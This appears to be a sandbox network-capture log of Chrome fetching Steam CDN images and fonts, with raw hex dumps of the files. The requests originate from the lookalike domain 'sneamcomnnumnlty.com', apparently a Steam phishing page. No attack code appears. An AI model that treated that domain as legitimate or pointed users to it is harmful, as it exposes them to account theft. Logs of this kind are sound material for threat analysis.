2024-10-06 12:08:26 UTC	3684	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 31 36 2e 30 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 73 76 67 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 53 56 47 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 47 72 61 70 68 69 63 73 2f 53 56 47 2f 31 2e 31 2f 44 54 44 2f 73 76 67 31 31 2e 64 74 64 22 3e 0d 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49805	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:27 UTC	713	OUT	GET /public/shared/images/popups/btn_arrow_down_padded.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:27 UTC	265	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 161 Last-Modified: Fri, 05 Jan 2018 22:31:55 GMT ETag: "5a4ffcdb-a1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:27 GMT Connection: close
2024-10-06 12:08:27 UTC	161	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 13 00 00 00 0c 08 06 00 00 00 80 d0 86 82 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 43 49 44 41 54 78 da 62 fc ff ff 3f 03 b5 00 e3 08 36 ec d8 91 c3 fc 40 ea 00 10 1b e0 d0 b7 c0 ca c6 36 91 68 97 e1 31 10 ab 41 04 bd 89 c5 40 9c 06 11 15 66 48 06 5e c0 67 d0 48 4f 1a e4 02 80 00 03 00 23 ae 37 e9 64 d5 5d 17 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<CIDATxb?6@6h1A@fH^gHO#7d]IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49806	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:27 UTC	374	OUT	GET /public/images/x9x9.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:27 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 58 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-3a" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:27 GMT Connection: close
2024-10-06 12:08:27 UTC	58	IN	Data Raw: 47 49 46 38 39 61 09 00 09 00 80 01 00 cd ca c1 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 09 00 09 00 00 02 11 04 82 68 9b ec d6 d6 49 81 51 39 2b 7c 19 53 5d 00 00 3b Data Ascii: GIF89a!,hIQ9+\|S];

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49807	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:27 UTC	678	OUT	GET /public/shared/fonts/MotivaSans-Thin.ttf?v=4.015 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:27 UTC	278	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/octet-stream Content-Length: 118736 Last-Modified: Tue, 28 Jul 2020 23:16:24 GMT ETag: "5f20b1c8-1cfd0" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:27 GMT Connection: close
2024-10-06 12:08:27 UTC	16106	IN	Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 44 53 49 47 00 00 00 01 00 01 cf c8 00 00 00 08 47 44 45 46 0d b6 0e 34 00 00 01 2c 00 00 00 40 47 50 4f 53 22 a8 6a e1 00 00 01 6c 00 00 6a 86 47 53 55 42 e1 64 c1 db 00 00 6b f4 00 00 1b a4 4f 53 2f 32 74 0a 9a fe 00 00 87 98 00 00 00 60 63 6d 61 70 f6 64 8b a3 00 00 87 f8 00 00 05 8e 63 76 74 20 45 b2 08 a6 00 01 c0 10 00 00 00 c8 66 70 67 6d 9e 36 21 d2 00 01 c0 d8 00 00 0e 15 67 61 73 70 00 00 00 10 00 01 c0 08 00 00 00 08 67 6c 79 66 3b 39 02 90 00 00 8d 88 00 00 fd 54 68 65 61 64 17 7a fb 3b 00 01 8a dc 00 00 00 36 68 68 65 61 06 85 06 15 00 01 8b 14 00 00 00 24 68 6d 74 78 6a 34 80 77 00 01 8b 38 00 00 0c e6 6c 6f 63 61 69 6a 2a 56 00 01 98 20 00 00 06 a6 6d 61 78 70 04 9c 0f 17 00 01 9e c8 00 00 00 20 6e 61 6d Data Ascii: DSIGGDEF4,@GPOS"jljGSUBdkOS/2t`cmapdcvt Efpgm6!gaspglyf;9Theadz;6hhea$hmtxj4w8locaij*V maxp nam
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 00 00 12 b2 00 00 12 b8 00 00 12 c4 12 ca 12 d0 00 00 12 c4 12 ca 12 d6 00 00 12 c4 12 ca 12 dc 00 00 12 c4 12 ca 12 e2 00 00 12 c4 12 ca 12 e8 00 00 12 c4 12 ca 12 ee 00 00 12 f4 12 ca 12 e8 00 00 12 c4 12 ca 12 ee 00 00 12 c4 12 ca 12 fa 00 00 12 c4 12 ca 13 00 00 00 12 c4 12 ca 13 06 00 00 12 c4 12 ca 12 d0 00 00 12 f4 12 ca 12 d0 00 00 12 c4 12 ca 13 0c 00 00 12 c4 12 ca 13 12 00 00 12 c4 12 ca 13 18 00 00 12 c4 12 ca 12 d0 00 00 12 c4 12 ca 13 1e 00 00 13 24 00 00 13 2a 00 00 13 30 00 00 13 36 00 00 13 30 00 00 13 3c 00 00 13 30 00 00 13 42 00 00 13 30 00 00 13 48 00 00 13 4e 00 00 13 36 00 00 13 30 00 00 13 36 00 00 13 54 00 00 13 5a 00 00 13 54 00 00 13 5a 00 00 13 54 00 00 13 60 00 00 13 66 13 6c 13 72 00 00 13 78 13 6c 13 7e 00 00 13 66 13 6c 13 Data Ascii: $*060<0B0HN606TZTZT`flrxl~fl
2024-10-06 12:08:27 UTC	2782	IN	Data Raw: 01 87 01 88 01 89 01 8a 01 8b 01 8c 01 8d 01 8e 01 8f 01 90 01 91 01 92 01 93 01 94 01 95 01 96 01 97 01 98 01 99 01 9a 01 9b 01 9c 01 9d 01 9e 01 9f 01 a0 01 a1 01 a2 01 a3 01 a4 01 a5 01 a6 01 a7 01 a8 01 a9 01 aa 01 ab 01 ad 01 ae 01 af 01 b0 01 b1 01 b2 01 b3 01 b4 01 b5 01 b6 01 b7 01 c2 01 b9 01 ba 01 bb 01 bc 01 bd 01 be 01 bf 01 c0 01 c1 01 c3 01 c4 01 c5 01 c8 01 c9 01 ca 01 cb 01 cc 01 cd 01 ce 01 cf 01 d0 01 d1 01 d2 01 d3 01 d4 01 d5 01 d6 01 d7 01 d8 01 da 01 db 01 dc 01 dd 01 de 01 df 01 e0 01 e1 01 e2 01 e3 01 e4 01 e5 01 e6 01 e7 01 e8 01 e9 01 ea 01 eb 01 ec 01 ed 01 ee 01 ef 01 f0 01 f1 01 f2 01 f3 01 f4 01 f5 01 f6 01 f7 01 f8 01 f9 01 fa 01 fb 01 fd 01 fe 01 76 01 ac 01 ff 02 00 02 01 02 03 02 04 02 05 02 06 02 07 02 08 02 09 02 0a 02 Data Ascii: v
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 a6 00 00 00 00 00 00 00 00 00 00 03 9e 00 00 00 00 00 00 00 01 02 9d 02 c1 02 a4 02 ce 02 eb 02 ef 02 c2 02 a9 02 aa 02 a3 02 d5 02 99 02 b1 02 98 02 a5 02 9a 02 9b 02 dc 02 d9 02 db 02 9f 02 ee 00 02 00 1a 00 1b 00 21 00 25 00 37 00 38 00 3e 00 41 00 4f 00 52 00 54 00 5a 00 5b 00 61 00 7a 00 7c 00 7d 00 81 00 89 00 8e 00 a6 00 a7 00 ac 00 ad 00 b6 02 ad 02 a6 02 ae 02 e3 02 b5 03 15 00 ba 00 d2 00 d3 00 d9 00 dd 00 f0 00 f1 00 f7 00 fa 01 09 01 0d 01 0f 01 15 01 16 01 1c 01 35 01 37 01 38 01 3c 01 43 01 48 01 60 01 61 01 66 01 67 01 70 02 ab 02 f6 02 ac 02 e1 02 ca 02 9e 02 cc 02 d1 02 cd 02 d2 02 f7 02 f1 03 13 02 f2 02 30 02 bd 02 e2 02 b2 02 f3 03 1d 02 f5 02 df 02 7d 02 7e 03 16 02 e9 02 f0 02 a1 03 Data Ascii: !%78>AORTZ[az\|}578<CH`afgp0}~
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 2b 00 16 17 33 37 33 11 14 06 23 22 26 27 37 16 33 32 36 35 35 06 23 22 26 26 35 34 36 36 33 0e 02 15 14 16 33 32 36 37 11 26 26 23 01 5f 4f 1b 03 15 20 77 67 3c 65 24 1d 45 5c 4c 5f 47 61 43 6b 3f 49 74 41 32 59 35 63 50 2e 54 22 16 4a 32 02 18 1e 18 2a fd fb 6f 6e 23 1c 2d 35 47 4a 5f 43 3a 73 51 58 79 3b 34 2f 60 46 62 6b 27 28 01 13 1b 25 00 ff ff 00 32 ff 2a 02 01 02 bf 00 22 00 f1 00 00 00 02 03 1a 7b 00 00 00 ff ff 00 32 ff 2a 02 01 02 bc 00 22 00 f1 00 00 00 03 03 07 01 b7 00 00 ff ff 00 32 ff 2a 02 01 02 c3 00 22 00 f1 00 00 00 03 03 06 01 bb 00 00 00 03 00 32 ff 2a 02 01 02 d1 00 03 00 21 00 2f 00 93 40 0e 2c 2b 17 06 04 07 08 11 10 02 04 05 02 4c 4b b0 23 50 58 40 30 00 00 00 01 5f 00 01 01 4a 4d 00 02 02 4b 4d 0a 01 08 08 06 61 09 01 06 06 53 Data Ascii: +373#"&'732655#"&&546633267&&#_O wg<e$E\L_GaCk?ItA2Y5cP.T"J2on#-5GJ_C:sQXy;4/`Fbk'(%2"{2"2"2*!/@,+LK#PX@0_JMKMaS
2024-10-06 12:08:27 UTC	7952	IN	Data Raw: 40 2e 0d 01 01 04 01 4c 00 04 00 01 00 04 01 67 06 01 05 05 03 5f 00 03 03 2c 4d 02 01 00 00 2d 00 4e 0e 0e 0e 16 0e 15 27 21 11 11 10 07 08 1b 2b 21 23 27 23 15 23 11 33 32 16 15 14 06 07 03 15 33 32 36 35 34 26 23 01 dd 46 7f 83 3a b7 61 53 37 39 c1 77 3f 3f 3d 41 df df 02 39 58 4e 3e 5d 11 01 1e f1 3f 3c 3d 39 00 00 00 ff ff 00 5b 00 00 01 dd 02 e9 00 22 01 f5 00 00 01 07 03 36 01 b7 00 2d 00 08 b1 02 01 b0 2d b0 35 2b 00 00 ff ff 00 5b 00 00 01 dd 02 e9 00 22 01 f5 00 00 01 07 03 39 01 96 00 2d 00 08 b1 02 01 b0 2d b0 35 2b 00 00 ff ff 00 5b ff 3b 01 dd 02 39 00 22 01 f5 00 00 00 03 03 42 01 90 00 00 00 01 00 32 ff f4 01 a7 02 45 00 27 00 32 40 2f 16 02 01 03 02 00 01 4c 15 01 02 01 4b 00 00 00 03 61 04 01 03 03 30 4d 00 02 02 01 61 00 01 01 31 01 4e Data Ascii: @.Lg_,M-N'!+!#'##3232654&#F:aS79w??=A9XN>]?<=9["6--5+["9--5+[;9"B2E'2@/LKa0Ma1N
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: ff f3 02 4a 02 c8 00 0f 00 1d 00 2c 40 29 05 01 03 03 01 61 04 01 01 01 50 4d 00 02 02 00 61 00 00 00 51 00 4e 10 10 00 00 10 1d 10 1c 17 15 00 0f 00 0e 26 06 0a 17 2b 00 16 16 15 14 06 06 23 22 26 26 35 34 36 36 33 06 06 15 14 16 16 33 32 36 36 35 34 26 23 01 8d 76 47 47 77 47 47 77 47 47 76 48 5b 6c 31 5a 3c 3c 5a 31 6c 5b 02 c8 4e a5 7b 76 a2 4f 4f a2 76 7b a5 4e 3a a0 94 5f 88 46 47 88 5e 94 a0 00 00 00 01 00 8e 00 00 02 18 02 bc 00 0a 00 29 40 26 09 08 07 03 00 03 01 4c 04 01 03 03 48 4d 02 01 00 00 01 5f 00 01 01 49 01 4e 00 00 00 0a 00 0a 11 11 11 05 0a 19 2b 01 11 33 15 21 35 33 11 07 27 37 01 8d 8b fe 8a af ac 17 d3 02 bc fd 79 35 35 02 42 52 2e 69 00 00 ff ff 00 56 00 00 02 3d 02 c8 00 02 02 38 0b 00 00 01 00 40 ff f4 02 4b 02 c8 00 2a 00 3f 40 Data Ascii: J,@)aPMaQN&+#"&&54663326654&#vGGwGGwGGvH[l1Z<<Z1l[N{vOOv{N:_FG^)@&LHM_IN+3!53'7y55BR.iV=8@K*?@
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 02 bc 00 0c 00 27 40 24 07 01 00 01 01 4c 00 01 01 03 5f 04 01 03 03 48 4d 02 01 00 00 49 00 4e 00 00 00 0c 00 0b 11 11 11 05 0a 19 2b 01 11 23 11 23 11 23 11 26 35 34 36 33 01 a3 3b 3b 3b a7 57 5c 02 bc fd 44 02 88 fd 78 01 79 0f 97 49 54 00 02 00 4b ff f1 01 9b 02 c8 00 33 00 3f 00 53 40 50 02 01 00 03 2d 03 02 05 00 1c 13 02 02 04 1b 01 01 02 04 4c 07 01 05 00 04 00 05 04 80 00 04 02 00 04 02 7e 00 00 00 03 61 06 01 03 03 50 4d 00 02 02 01 62 00 01 01 51 01 4e 34 34 00 00 34 3f 34 3e 3a 38 00 33 00 32 1f 1d 1a 18 25 08 0a 17 2b 00 16 17 07 26 26 23 22 06 15 14 16 16 17 1e 02 15 14 07 16 16 15 14 06 23 22 27 37 16 33 32 36 35 34 26 26 27 26 27 26 26 35 34 36 37 26 26 35 34 36 33 02 06 15 14 16 33 32 36 35 34 26 23 01 20 48 19 10 17 40 1f 3b 3c 25 35 31 Data Ascii: '@$L_HMIN+###&5463;;;W\DxyITK3?S@P-L~aPMbQN444?4>:832%+&&#"#"'732654&&'&'&&5467&&546332654&# H@;<%51
2024-10-06 12:08:27 UTC	7952	IN	Data Raw: 00 da 00 de 00 e0 03 2b 03 2c 03 2d 03 2e 03 2f 03 30 03 31 03 32 03 33 03 34 03 35 03 36 03 37 03 38 03 39 03 3a 03 3b 03 3c 03 3d 03 3e 03 3f 03 40 03 41 03 42 03 43 03 44 03 45 03 46 03 47 03 48 03 49 03 4a 03 4b 03 4c 03 4d 03 4e 03 4f 03 50 03 51 03 52 03 53 03 54 03 55 03 56 03 57 03 58 03 59 03 5a 03 5b 03 5c 06 41 62 72 65 76 65 07 75 6e 69 31 45 41 45 07 75 6e 69 31 45 42 36 07 75 6e 69 31 45 42 30 07 75 6e 69 31 45 42 32 07 75 6e 69 31 45 42 34 07 75 6e 69 30 31 43 44 07 75 6e 69 31 45 41 34 07 75 6e 69 31 45 41 43 07 75 6e 69 31 45 41 36 07 75 6e 69 31 45 41 38 07 75 6e 69 31 45 41 41 07 75 6e 69 31 45 41 30 07 75 6e 69 31 45 41 32 07 41 6d 61 63 72 6f 6e 07 41 6f 67 6f 6e 65 6b 0b 43 63 69 72 63 75 6d 66 6c 65 78 0a 43 64 6f 74 61 63 63 65 6e Data Ascii: +,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\Abreveuni1EAEuni1EB6uni1EB0uni1EB2uni1EB4uni01CDuni1EA4uni1EACuni1EA6uni1EA8uni1EAAuni1EA0uni1EA2AmacronAogonekCcircumflexCdotaccen
2024-10-06 12:08:27 UTC	2024	IN	Data Raw: 43 63 38 2d b0 39 2c b1 02 00 16 25 20 2e 20 47 b0 00 23 42 b0 02 25 49 8a 8a 47 23 47 23 61 20 58 62 1b 21 59 b0 01 23 42 b2 38 01 01 15 14 2a 2d b0 3a 2c b0 00 16 b0 17 23 42 b0 04 25 b0 04 25 47 23 47 23 61 b1 0c 00 42 b0 0b 43 2b 65 8a 2e 23 20 20 3c 8a 38 2d b0 3b 2c b0 00 16 b0 17 23 42 b0 04 25 b0 04 25 20 2e 47 23 47 23 61 20 b0 06 23 42 b1 0c 00 42 b0 0b 43 2b 20 b0 60 50 58 20 b0 40 51 58 b3 04 20 05 20 1b b3 04 26 05 1a 59 42 42 23 20 b0 0a 43 20 8a 23 47 23 47 23 61 23 46 60 b0 06 43 b0 02 62 20 b0 00 50 58 b0 40 60 59 66 b0 01 63 60 20 b0 01 2b 20 8a 8a 61 20 b0 04 43 60 64 23 b0 05 43 61 64 50 58 b0 04 43 61 1b b0 05 43 60 59 b0 03 25 b0 02 62 20 b0 00 50 58 b0 40 60 59 66 b0 01 63 61 23 20 20 b0 04 26 23 46 61 38 1b 23 b0 0a 43 46 b0 02 25 Data Ascii: Cc8-9,% . G#B%IG#G#a Xb!Y#B8*-:,#B%%G#G#aBC+e.# <8-;,#B%% .G#G#a #BBC+ `PX @QX &YBB# C #G#G#a#F`Cb PX@`Yfc` + a C`d#CadPXCaC`Y%b PX@`Yfca# &#Fa8#CF%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49808	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:27 UTC	681	OUT	GET /public/shared/fonts/MotivaSans-Regular.ttf?v=4.015 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:27 UTC	278	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/octet-stream Content-Length: 122684 Last-Modified: Tue, 28 Jul 2020 23:16:24 GMT ETag: "5f20b1c8-1df3c" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:27 GMT Connection: close
2024-10-06 12:08:27 UTC	16106	IN	Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 44 53 49 47 00 00 00 01 00 01 df 34 00 00 00 08 47 44 45 46 0d b6 0e 34 00 00 01 2c 00 00 00 40 47 50 4f 53 3a 3e 7d 8f 00 00 01 6c 00 00 75 7a 47 53 55 42 e1 64 c1 db 00 00 76 e8 00 00 1b a4 4f 53 2f 32 75 36 9e 08 00 00 92 8c 00 00 00 60 63 6d 61 70 f6 64 8b a3 00 00 92 ec 00 00 05 8e 63 76 74 20 46 bf 09 94 00 01 cf 7c 00 00 00 c8 66 70 67 6d 9e 36 21 d2 00 01 d0 44 00 00 0e 15 67 61 73 70 00 00 00 10 00 01 cf 74 00 00 00 08 67 6c 79 66 8a 5f 6d c2 00 00 98 7c 00 01 01 ee 68 65 61 64 17 b4 fb 48 00 01 9a 6c 00 00 00 36 68 68 65 61 06 bf 06 47 00 01 9a a4 00 00 00 24 68 6d 74 78 86 e3 6c 96 00 01 9a c8 00 00 0c e6 6c 6f 63 61 43 48 02 9a 00 01 a7 b0 00 00 06 a6 6d 61 78 70 04 a0 0f 13 00 01 ae 58 00 00 00 20 6e 61 6d Data Ascii: DSIG4GDEF4,@GPOS:>}luzGSUBdvOS/2u6`cmapdcvt F\|fpgm6!Dgasptglyf_m\|headHl6hheaG$hmtxllocaCHmaxpX nam
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 02 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff df ff f8 00 05 00 00 00 07 00 00 00 09 00 02 00 00 00 00 00 00 00 00 ff b1 ff c1 00 00 00 00 00 00 00 00 00 00 ff a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ea ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-06 12:08:27 UTC	2658	IN	Data Raw: 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 Data Ascii:
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 02 fc 03 33 03 34 03 35 03 36 03 37 03 38 03 39 03 3a 03 3b 03 3c 03 3d 03 3e 03 3f 03 40 03 41 03 42 03 43 03 44 00 02 07 d4 00 14 02 a7 02 fb 03 20 03 21 03 22 03 23 03 24 03 25 03 26 03 27 03 28 03 29 03 2a 03 2b 03 2c 03 2d 03 2e 03 2f 03 30 03 31 00 01 07 c2 00 01 00 08 00 02 00 06 00 0c 01 74 00 02 00 fa 01 75 00 02 01 0f 00 02 07 ae 01 7e 01 78 01 79 01 7a 01 7b 01 7c 01 7d 01 7e 01 7f 01 80 01 81 01 82 01 83 01 84 01 85 01 86 01 87 01 88 01 89 01 8a 01 8b 01 8c 01 8d 01 8e 01 8f 01 90 01 91 01 92 01 93 01 94 01 95 01 96 01 97 01 98 01 99 01 9a 01 9b 01 9c 01 9d 01 9e 01 9f 01 a0 01 a1 01 a2 01 a3 01 a4 01 a5 01 a6 01 a7 01 a8 01 a9 01 aa 01 ab 01 ad 01 ae 01 af 01 b0 01 b1 01 b2 01 b3 01 b4 01 b5 01 b6 01 b7 01 c2 01 b9 01 ba 01 bb 01 bc 01 bd 01 Data Ascii: 3456789:;<=>?@ABCD !"#$%&'()*+,-./01tu~xyz{\|}~
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 43 27 53 72 63 66 12 14 05 10 07 02 31 25 e8 50 19 15 47 1d 38 4a 3c 29 95 02 33 08 2a 22 39 43 05 43 4f 4d 48 4f 4e 08 05 45 3b 35 33 3a 45 5e 5d f5 17 14 02 3c 01 3f 30 29 d0 2a 24 4e 05 08 2a 2e 29 28 ff ff 00 2d ff f3 02 13 03 01 00 22 00 ba 00 00 00 03 03 09 01 b7 00 00 ff ff 00 2d ff f3 02 13 02 cd 00 22 00 ba 00 00 00 02 03 1c 4d 00 00 00 00 03 00 2d ff f4 03 55 02 18 00 2c 00 33 00 3f 01 03 4b b0 18 50 58 40 16 23 01 05 06 29 22 02 04 05 1c 01 00 04 34 11 0c 0b 04 01 00 04 4c 1b 4b b0 1b 50 58 40 16 23 01 05 06 29 22 02 04 05 1c 01 0a 04 34 11 0c 0b 04 01 00 04 4c 1b 40 16 23 01 05 06 29 22 02 04 05 1c 01 0a 09 34 11 0c 0b 04 01 00 04 4c 59 59 4b b0 18 50 58 40 25 0d 09 02 04 0a 01 00 01 04 00 69 08 01 05 05 06 61 0c 07 02 06 06 53 4d 0b 01 01 01 Data Ascii: C'Srcf1%PG8J<)3"9CCOMHONE;53:E^]<?0)$N*.)(-"-"M-U,3?KPX@#)"4LKPX@#)"4L@#)"4LYYKPX@%iaSM
2024-10-06 12:08:27 UTC	7952	IN	Data Raw: 2b 01 33 15 06 06 23 22 26 26 35 34 36 36 33 32 17 07 26 23 22 06 15 14 16 33 32 37 35 23 01 27 eb 20 77 41 49 7a 4a 4b 7e 4c 6b 57 2c 45 54 57 60 62 58 40 3b 96 01 3e fd 1f 2e 3f 86 63 65 85 3f 3f 44 33 6f 68 6a 72 21 93 00 00 ff ff 00 2d ff f4 02 12 02 f8 00 22 01 ae 00 00 01 07 03 3a 01 d3 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 2d ff f4 02 12 02 f4 00 22 01 ae 00 00 01 07 03 39 01 d3 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 2d ff f4 02 12 02 fb 00 22 01 ae 00 00 01 07 03 38 01 d6 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 2d ff 32 02 12 02 45 00 22 01 ae 00 00 00 03 03 42 01 be 00 00 ff ff 00 2d ff f4 02 12 02 fb 00 22 01 ae 00 00 01 07 03 34 01 b5 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 00 01 00 55 00 00 02 22 02 39 00 Data Ascii: +3#"&&546632&#"3275#' wAIzJK~LkW,ETW`bX@;>.?ce??D3ohjr!-":--5+-"9--5+-"8--5+-2E"B-"4--5+U"9
